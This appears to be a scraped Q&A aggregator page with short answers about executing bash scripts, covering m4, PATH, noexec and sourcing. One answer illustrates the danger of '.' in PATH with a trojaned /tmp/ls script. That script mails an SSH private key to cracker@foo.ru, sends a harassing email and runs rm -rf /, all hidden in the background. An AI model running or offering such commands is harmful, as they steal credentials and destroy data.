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Can m4 execute user defined bash scripts?


By : ezemasa
Date : October 16 2020, 08:10 AM
Hope this helps The m4 can execute external programs. You forgot only one thing: the PATH. Please try:
code :
define(`FOOBAR', `esyscmd(./mycmd)') dnl
FOOBAR


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Why do I have to use an absolute path to execute Bash scripts?


By : user2100447
Date : March 29 2020, 07:55 AM
it helps some times I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
code :
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
mkdir ~/bin
vi ~/bin/highest
bash$ which highest
/Users/stefanl/bin/highest

Unable to execute bash scripts even as root?


By : user3756077
Date : March 29 2020, 07:55 AM
it should still fix some issue That can happen if you have mounted the file system with the "noexec" option. You should remove it.

To execute multiple bash scripts in diff directories using one single bash script


By : Widarto Ngawinganjuk
Date : March 29 2020, 07:55 AM
hop of those help? It would look something like this. There are multiple ways to do this and this is just one way
code :
#!/bin/bash
echo "invoking x/X_FE with $1"
sh /opt/xyz/x/X_FE.sh $1

echo "invoking x/X_BE with $1"
sh /opt/xyz/x/X_BE.sh $1

echo "invoking y/Y_FE with $1"
sh /opt/xyz/y/Y_FE.sh $1

echo "invoking x/Y_BE with $1"
sh /opt/xyz/y/Y_BE.sh $1

echo "invoking z/Z_FE with $1"
sh /opt/xyz/z/Z_BE.sh $1

How can execute php scripts in bash?


By : Aydin
Date : March 29 2020, 07:55 AM
fixed the issue. Will look into that further A cheap way of debugging this is to use echo to see what you're passing in to php:

How to execute from any directory Bash script that sources other Bash scripts (not using path variable)


By : Janie Patino
Date : March 29 2020, 07:55 AM
I hope this helps . I am not trying to execute a Bash script from any directory by adding the script to my Path variable. , You have the right idea. Doesn't need to be that complicated though:
code :
source `dirname $0`/myFunctions.sh
HERE=`dirname $0`
source $HERE/myFunctions.sh
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